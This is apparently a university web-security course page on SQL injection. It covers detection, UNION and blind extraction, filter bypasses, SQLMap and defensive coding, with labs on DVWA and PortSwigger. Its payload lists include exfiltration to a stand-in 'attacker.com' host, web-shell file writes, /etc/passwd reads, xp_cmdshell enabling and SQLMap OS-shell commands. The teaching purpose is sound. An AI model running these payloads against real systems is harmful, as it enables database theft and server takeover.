CSY203 Week 05 Intermediate

Use earlier frameworks to prioritize SQLi risk and remediation:

Secure Software & Web Security

Track your progress through this week's content

Opening Framing: The Power of Injection

SQL injection has been the most dangerous web vulnerability for over two decades. Despite being well-understood and preventable, it persists because developers continue to construct SQL queries with untrusted input.

When you inject SQL, you communicate directly with the database. You can read sensitive data, modify records, delete tables, and sometimes execute operating system commands. A single vulnerable parameter can compromise an entire database.

This week goes deep on SQL injection—from basic detection to advanced blind techniques, from data extraction to complete database compromise.

Key insight: SQL injection succeeds because the application can't distinguish between data and code in the query.

1) SQL Injection Fundamentals

Understanding how SQLi works: 

Vulnerable Code Pattern:

# PHP example
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
$result = mysqli_query($conn, $query);

# If id = 1
SELECT * FROM users WHERE id = 1
# Works normally

# If id = 1 OR 1=1
SELECT * FROM users WHERE id = 1 OR 1=1
# Returns ALL users!

# If id = 1; DROP TABLE users;--
SELECT * FROM users WHERE id = 1; DROP TABLE users;--
# Deletes the table!

SQL Injection Types: 

In-Band SQLi (Classic):
- Results visible in response
- Error-based: Errors reveal data
- UNION-based: Combine queries

Blind SQLi:
- No visible output
- Boolean-based: True/false responses
- Time-based: Response timing differences

Out-of-Band SQLi:
- Data exfiltrated via different channel
- DNS lookups, HTTP requests
- When in-band/blind not possible

Second-Order SQLi:
- Payload stored first
- Executed later in different query
- Harder to detect

Injection Points: 

Common injection locations:

URL Parameters:
/page?id=1 → /page?id=1'

POST Body:
username=admin → username=admin'

Cookies:
Cookie: user=admin → Cookie: user=admin'

HTTP Headers:
User-Agent: Mozilla → User-Agent: '
X-Forwarded-For: 1.1.1.1 → X-Forwarded-For: '

JSON/XML:
{"id": "1"} → {"id": "1'"}

Order By / Sort:
?sort=name → ?sort=name,(select 1)

Table/Column Names (rare):
?table=users → ?table=users;DROP TABLE x;--

Key insight: Any user input that reaches a SQL query without proper handling is a potential injection point.

2) SQLi Detection Techniques

Finding SQL injection vulnerabilities: 

Basic Detection Payloads:

Single quote (string terminator):
'
"

SQL comments:
--
#
/**/

Arithmetic operations:
1+1
2-1

Boolean conditions:
OR 1=1
AND 1=1
OR 'a'='a'

Time delays:
'; WAITFOR DELAY '0:0:5'--  (MSSQL)
' OR SLEEP(5)--             (MySQL)
'; SELECT pg_sleep(5)--     (PostgreSQL)

Detecting Error-Based SQLi: 

# Submit single quote and look for errors:

MySQL errors:
"You have an error in your SQL syntax"
"mysql_fetch_array()"
"Warning: mysql_"

MSSQL errors:
"Microsoft SQL Native Client"
"Unclosed quotation mark"
"[ODBC SQL Server Driver]"

PostgreSQL errors:
"PSQLException"
"unterminated quoted string"
"pg_query()"

Oracle errors:
"ORA-01756"
"ORA-00933"
"SQL command not properly ended"

SQLite errors:
"SQLITE_ERROR"
"unrecognized token"

# Error messages often reveal:
# - Database type
# - Query structure
# - Table/column names

Detecting Blind SQLi: 

# Boolean-based detection:

# True condition (normal response):
id=1 AND 1=1
id=1' AND '1'='1

# False condition (different response):
id=1 AND 1=2
id=1' AND '1'='2

# Compare responses:
# - Different content length
# - Different content
# - Different status code

# Time-based detection:

# MySQL
id=1' AND SLEEP(5)--
id=1' AND IF(1=1,SLEEP(5),0)--

# MSSQL
id=1'; WAITFOR DELAY '0:0:5'--
id=1'; IF (1=1) WAITFOR DELAY '0:0:5'--

# PostgreSQL
id=1'; SELECT pg_sleep(5)--
id=1'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

# Oracle
id=1' AND DBMS_PIPE.RECEIVE_MESSAGE('x',5)='x'--

# Response takes 5+ seconds = vulnerable

Systematic Testing with Burp: 

# Testing workflow:

1. Identify all parameters
   - URL, POST, cookies, headers

2. Send to Repeater
   - Test each parameter individually

3. Submit baseline request
   - Note normal response length/content

4. Test detection payloads:
   - Single quote
   - Boolean true/false
   - Time delay

5. Compare responses
   - Error messages
   - Content differences
   - Timing differences

6. Confirm vulnerability
   - Consistent behavior
   - Not false positive

# Burp Scanner can automate detection
# But manual testing catches edge cases

Key insight: Detection is about observing differences. Errors, content changes, and timing all reveal SQLi.

3) UNION-Based SQL Injection

Extracting data through UNION queries: 

UNION Attack Concept:

Original query:
SELECT name, price FROM products WHERE id = 1

Injected:
SELECT name, price FROM products WHERE id = 1
UNION SELECT username, password FROM users--

Result set combines both queries!

Requirements:
1. Same number of columns
2. Compatible data types
3. Results displayed in response

Step 1: Determine Column Count 

# Method 1: ORDER BY

id=1 ORDER BY 1--    (works)
id=1 ORDER BY 2--    (works)
id=1 ORDER BY 3--    (works)
id=1 ORDER BY 4--    (error!)

# 3 columns in query

# Method 2: UNION SELECT NULL

id=1 UNION SELECT NULL--          (error)
id=1 UNION SELECT NULL,NULL--     (error)
id=1 UNION SELECT NULL,NULL,NULL-- (works!)

# 3 columns confirmed

# Oracle requires FROM:
id=1 UNION SELECT NULL,NULL,NULL FROM dual--

Step 2: Find Displayable Columns 

# Not all columns shown in response
# Find which columns display data:

id=1 UNION SELECT 'a',NULL,NULL--
id=1 UNION SELECT NULL,'a',NULL--
id=1 UNION SELECT NULL,NULL,'a'--

# Column 2 shows 'a' in response = usable!

# Or use numbers:
id=1 UNION SELECT 1,2,3--
# See which numbers appear in response

Step 3: Extract Data 

# Database version:
' UNION SELECT NULL,@@version,NULL--     (MySQL/MSSQL)
' UNION SELECT NULL,version(),NULL--     (PostgreSQL)
' UNION SELECT NULL,banner,NULL FROM v$version-- (Oracle)

# Current user:
' UNION SELECT NULL,user(),NULL--        (MySQL)
' UNION SELECT NULL,current_user,NULL--  (PostgreSQL)
' UNION SELECT NULL,user,NULL FROM dual-- (Oracle)

# Database name:
' UNION SELECT NULL,database(),NULL--    (MySQL)
' UNION SELECT NULL,current_database(),NULL-- (PostgreSQL)

# List tables:
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()--

# List columns:
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--

# Extract data:
' UNION SELECT NULL,username,password FROM users--

# Concatenate multiple columns:
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users--  (MySQL)
' UNION SELECT NULL,username||':'||password,NULL FROM users--        (PostgreSQL/Oracle)

Database-Specific Syntax: 

MySQL:
- Comment: -- (space after) or #
- Concat: CONCAT(a,b) or CONCAT_WS(':',a,b)
- Version: @@version
- Current DB: database()

MSSQL:
- Comment: -- or /* */
- Concat: a+b or CONCAT(a,b)
- Version: @@version
- Current DB: db_name()

PostgreSQL:
- Comment: --
- Concat: a||b
- Version: version()
- Current DB: current_database()

Oracle:
- Comment: --
- Concat: a||b
- Requires FROM dual
- No information_schema (use all_tables)

Key insight: UNION attacks are powerful but require matching the original query structure exactly.

4) Blind SQL Injection

Extracting data without visible output: 

Blind SQLi Concept:

No error messages displayed
No data in response
But application behaves differently based on query

Boolean-based:
- True condition → Normal page
- False condition → Different page (or no results)

Time-based:
- True condition → Delay response
- False condition → Immediate response

Boolean-Based Extraction: 

# Extract data one character at a time

# Get first character of username:
' AND SUBSTRING(username,1,1)='a'--  (false)
' AND SUBSTRING(username,1,1)='b'--  (false)
...
' AND SUBSTRING(username,1,1)='d'--  (true!)

# First character is 'd'

# Get second character:
' AND SUBSTRING(username,2,1)='a'--
...
' AND SUBSTRING(username,2,1)='b'--  (true!)

# Second character is 'b' → "db..."

# Binary search (faster):
# ASCII value > 64?
' AND ASCII(SUBSTRING(username,1,1))>64--

# ASCII value > 96? (lowercase?)
' AND ASCII(SUBSTRING(username,1,1))>96--

# Binary search narrows quickly

Time-Based Extraction: 

# When no visible difference in response

# MySQL:
' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--

# If first char is 'a', response delayed 5 seconds

# MSSQL:
'; IF (SUBSTRING((SELECT username FROM users),1,1)='a') WAITFOR DELAY '0:0:5'--

# PostgreSQL:
'; SELECT CASE WHEN (SUBSTRING(username,1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users--

# Extract character by character
# Measure response time for each test

Automating Blind SQLi: 

# Burp Intruder for Boolean-based

1. Capture request with injection point
2. Set payload position on character value:
   ' AND SUBSTRING(username,1,1)='§a§'--

3. Payload: a-z, 0-9, special chars

4. Grep response for indicator
   - Content length difference
   - Specific text present/absent

5. Identify true responses

# SQLMap automation (recommended for blind):
sqlmap -u "http://target.com/page?id=1" --technique=B  # Boolean
sqlmap -u "http://target.com/page?id=1" --technique=T  # Time-based

# SQLMap handles the tedious extraction

Out-of-Band Extraction: 

# When in-band and blind don't work

# DNS exfiltration (if DNS queries allowed)

# MySQL (Windows):
' UNION SELECT LOAD_FILE(CONCAT('\\\\',
  (SELECT password FROM users LIMIT 1),
  '.attacker.com\\a'))--

# MSSQL:
'; DECLARE @x VARCHAR(1024); 
SET @x=(SELECT password FROM users);
EXEC('master..xp_dirtree "\\'+@x+'.attacker.com\a"')--

# Oracle:
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||
  (SELECT password FROM users WHERE rownum=1)) FROM dual--

# Requires:
# - Network access from DB server
# - DNS resolution
# - Burp Collaborator or similar to catch requests

Key insight: Blind SQLi is slower but just as powerful. Everything in the database is eventually extractable.

5) Advanced SQLi and SQLMap

Advanced techniques and automation:

Filter Bypass Techniques: 

# When basic payloads are blocked:

# Case variation:
SeLeCt, UNION, UniOn

# Comment insertion:
UN/**/ION SEL/**/ECT
UNI%00ON SEL%00ECT

# Encoding:
%55NION (URL encoded U)
CHAR(85)+CHAR(78)+CHAR(73)+CHAR(79)+CHAR(78) (MSSQL)

# Alternative syntax:
UNION ALL SELECT instead of UNION SELECT
&&, || instead of AND, OR

# Whitespace alternatives:
UNION%09SELECT (tab)
UNION%0ASELECT (newline)
UNION/**/SELECT

# No quotes:
WHERE username=CHAR(97,100,109,105,110)  # 'admin'
WHERE username=0x61646d696e              # hex 'admin'

# No spaces:
UNION(SELECT(username)FROM(users))

Second-Order SQL Injection: 

# Payload stored, executed later

# Registration:
Username: admin'--

# Later, in admin panel query:
SELECT * FROM users WHERE username='admin'--'
# Injection executes!

# Testing approach:
1. Inject payloads in stored data
   - Registration forms
   - Profile updates
   - Comments

2. Trigger execution
   - View profiles
   - Admin functions
   - Reports

3. Look for evidence
   - Errors
   - Unexpected behavior

SQLMap Mastery: 

# Basic usage:
sqlmap -u "http://target.com/page?id=1"

# POST request:
sqlmap -u "http://target.com/login" --data="user=test&pass=test"

# With cookie:
sqlmap -u "http://target.com/page?id=1" --cookie="session=abc123"

# From Burp request:
sqlmap -r request.txt

# Specify injection point:
sqlmap -u "http://target.com/page" --data="id=1*&name=test"
# * marks injection point

# Enumeration:
sqlmap -u "..." --dbs                    # List databases
sqlmap -u "..." -D dbname --tables       # List tables
sqlmap -u "..." -D dbname -T users --columns  # List columns
sqlmap -u "..." -D dbname -T users --dump     # Dump table

# Advanced options:
--level=5          # Thorough testing
--risk=3           # Include risky tests
--technique=BEUST  # All techniques
--tamper=space2comment  # WAF bypass
--os-shell         # OS command execution
--sql-shell        # Interactive SQL shell

# Useful tampers:
--tamper=apostrophemask
--tamper=space2comment
--tamper=charencode
--tamper=randomcase

Database Takeover: 

# Beyond data extraction:

# Read files (MySQL):
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL--

# Write files (MySQL):
' UNION SELECT '' INTO OUTFILE '/var/www/html/shell.php'--

# OS command execution (MSSQL):
'; EXEC xp_cmdshell('whoami')--

# Enable xp_cmdshell:
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--

# SQLMap automation:
sqlmap -u "..." --file-read="/etc/passwd"
sqlmap -u "..." --file-write="shell.php" --file-dest="/var/www/html/shell.php"
sqlmap -u "..." --os-shell
sqlmap -u "..." --os-pwn  # Meterpreter shell

Key insight: SQL injection can escalate from data theft to complete server compromise. The database is a stepping stone.

Real-World Context: SQLi Impact

SQL injection in practice:

Major Breaches: SQL injection has caused massive data breaches. Heartland Payment Systems (130M cards), Sony Pictures, Yahoo—all compromised via SQLi. Despite being a "solved" problem, it persists.

Defense Layers: Modern applications use parameterized queries, ORMs, and WAFs. Testing must account for these defenses. Filter bypasses and edge cases still exist.

Bug Bounty Value: SQLi findings command premium payouts. A single SQLi in a major application can earn $10,000-$50,000+. The impact justifies the reward.

MITRE ATT&CK Mapping:

  • T1190 - Exploit Public-Facing Application: SQLi exploitation
  • T1505.003 - Web Shell: File write to webshell
  • T1059 - Command Execution: xp_cmdshell, os-shell

Key insight: SQLi has been #1 or #3 on OWASP Top 10 for 20 years because it keeps working.

Guided Lab: SQL Injection Exploitation

Master SQLi through progressive exercises.

Step 1: Basic Detection

# DVWA SQL Injection (Low security)

# Test for SQLi:
1' → Error or different behavior?
1 AND 1=1 → Normal?
1 AND 1=2 → Different?

# Confirm vulnerability

Step 2: UNION Attack

# Determine columns:
1' ORDER BY 1-- -
1' ORDER BY 2-- -
1' ORDER BY 3-- - (error = 2 columns)

# Find displayable column:
1' UNION SELECT 'a','b'-- -

# Extract data:
1' UNION SELECT user(),database()-- -
1' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- -
1' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
1' UNION SELECT user,password FROM users-- -

Step 3: Blind SQLi

# DVWA Blind SQL Injection

# Boolean-based:
1' AND 1=1-- - (exists)
1' AND 1=2-- - (doesn't exist)

# Extract data:
1' AND SUBSTRING(user(),1,1)='r'-- -  (test for 'r')
1' AND ASCII(SUBSTRING(user(),1,1))>100-- -

Step 4: SQLMap

# Automate extraction:
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="[your-cookie]" --dbs

sqlmap -u "..." -D dvwa --tables
sqlmap -u "..." -D dvwa -T users --dump

Step 5: PortSwigger Labs

# Complete these labs:
# 1. SQL injection UNION attack (determine columns)
# 2. SQL injection UNION attack (retrieve data)
# 3. Blind SQL injection with conditional responses
# 4. Blind SQL injection with time delays

# https://portswigger.net/web-security/sql-injection

Reflection (mandatory)

  1. What made UNION attacks possible on this application?
  2. How did blind SQLi differ in approach from UNION attacks?
  3. What data were you able to extract?
  4. How would prepared statements prevent these attacks?

Week 05 Quiz

Test your understanding of SQL Injection (SQLi).

Format: 10 multiple-choice questions. Passing score: 70%. Time: Untimed.

Take Quiz

Week 5 Outcome Check

By the end of this week, you should be able to:

Next week: Cross-Site Scripting Mastery—attacking users through their browsers.

Resources

Complete the required resources to build your foundation.

Lab: Complete SQL Injection Assessment

Goal: Perform comprehensive SQL injection testing from detection through full database compromise.

Part 1: Vulnerability Discovery

  1. Test all parameters for SQLi
  2. Document injection points found
  3. Identify database type
  4. Determine injection type (error/union/blind)

Part 2: UNION Exploitation

  1. Determine column count
  2. Find displayable columns
  3. Extract database version and user
  4. Enumerate all databases
  5. Enumerate tables and columns
  6. Extract sensitive data (users, passwords)

Part 3: Blind Exploitation

  1. Confirm blind SQLi
  2. Extract database version character by character
  3. Use time-based technique
  4. Compare manual vs SQLMap speed

Part 4: Advanced Techniques

  1. Attempt file read (if MySQL)
  2. Test for stacked queries
  3. Try filter bypass techniques
  4. Test for second-order SQLi

Part 5: SQLMap Mastery

  1. Use SQLMap with different techniques
  2. Dump entire database
  3. Attempt --os-shell (lab only!)
  4. Use tamper scripts

Deliverable (submit):

Checkpoint Questions

  1. What causes SQL injection vulnerabilities?
  2. How do you determine the number of columns for a UNION attack?
  3. What is the difference between boolean-based and time-based blind SQLi?
  4. How can SQL injection lead to operating system compromise?
  5. What is the purpose of the information_schema database?
  6. How do prepared statements prevent SQL injection?

Weekly Reflection

Reflection Prompt (200-300 words):

This week you mastered SQL injection—the most impactful injection attack. You extracted entire databases, bypassed authentication, and explored paths to system compromise.

Reflect on these questions:

A strong reflection will connect technical exploitation skills to broader security principles.

📚 Building on Prior Knowledge

Use earlier frameworks to prioritize SQLi risk and remediation:

🎯 Hands-On Labs (Free & Essential)

Master SQL injection through practice. Complete these labs in order - they build from basic to advanced.

🕷️ PortSwigger: SQL Injection Labs (ALL 18 LABS)

What you'll do: Complete the entire SQL injection lab series from apprentice to expert level. Includes:
• Retrieving hidden data (Lab 1)
• Subverting application logic (Lab 2)
• UNION attacks (Labs 3-7)
• Examining the database (Labs 8-9)
• Blind SQL injection (Labs 10-18)
Why it matters: These are THE industry-standard SQL injection labs. Completing all 18 makes you proficient in SQLi exploitation.
Prerequisites: Free PortSwigger account, Burp Suite Community Edition
Time estimate: 4-6 hours (spread across multiple sessions)

Start PortSwigger SQL Injection Labs →

🎮 TryHackMe: SQL Injection

What you'll do: Interactive SQL injection tutorial with guided challenges and immediate feedback.
Why it matters: Complements PortSwigger with different scenarios and contexts. Great for reinforcement.
Prerequisites: Free TryHackMe account
Time estimate: 1.5 hours

Start TryHackMe SQLi Room →

🧃 OWASP Juice Shop: SQL Injection Challenges

What you'll do: Find and exploit SQL injection vulnerabilities in a realistic e-commerce application.
Why it matters: Practice on a full application to understand real-world context and impact.
Prerequisites: Docker installed locally or use hosted version
Time estimate: 2 hours

Launch Juice Shop →

📝 Challenge: SQLMap Automation

Task: Use SQLMap to automatically exploit one of the PortSwigger labs you completed manually.
• Compare manual vs automated exploitation
• Document the SQLMap command and options used
• Explain when you'd choose manual vs automated approach
Deliverable: 1-page writeup with screenshots and command breakdown
Time estimate: 1 hour

⚠️ Critical: Complete ALL 18 PortSwigger SQL injection labs. This is non-negotiable for web security competency. Each lab teaches a specific technique you'll use in real pentests.

🛡️ Defensive Architecture & Secure Design Patterns

SQL injection succeeds when applications treat input as code. Defensive design enforces strict separation between data and queries at every layer.

Parameterized Queries and ORM Safety

Safe query pattern (parameterized):
SELECT * FROM users WHERE id = ?

Key rules:
- Never concatenate user input into SQL
- Use prepared statements everywhere
- Validate and normalize inputs before use
- Apply least-privilege DB accounts per service

Defense in Depth: 

Architectural controls:
- Input validation at service boundaries
- ORM query builders (no raw SQL by default)
- Database role separation (read vs write)
- Query logging + anomaly alerting
- WAF rules as last-resort safety net

Real-World Breach: Target 2013 (POS + Vendor Access)

Attackers used stolen vendor credentials to access internal systems and moved laterally to payment environments. While not a classic SQLi case, it highlights the impact of weak access segmentation and inadequate monitoring. Lessons learned: strict least-privilege accounts, network segmentation, and query auditing reduce blast radius when any input or credential is abused.

Defensive Labs

Lab: Refactor to Parameterized Queries

Replace string-concatenated SQL in a sample app with prepared statements. Demonstrate blocked injection attempts.

Lab: Enforce ORM Query Builder Rules

Configure an ORM to disallow raw SQL by default, add input validation, and document safe query patterns.

Lab: Least-Privilege DB Roles + Query Logging

Create separate read/write DB roles, restrict permissions, and enable query logging with alerts for risky patterns.

📚 Building on CSY101 Week-13: Threat model data flows and injection points before coding. CSY101 Week-14: Map controls to CIS Controls or NIST 800-53 (SI/SA families). CSY104 Week-11: Use CVSS to prioritize SQLi fixes.

Reference Materials & Tools

SQL injection mastery is a core competency for web application security testers. The techniques you've learned—detection, UNION attacks, blind extraction, automation—apply to databases everywhere. Defense is straightforward (parameterized queries), but human error ensures SQLi persists. Next week: XSS, where we attack users through their browsers.

← Previous: Week 04 Next: Week 06 →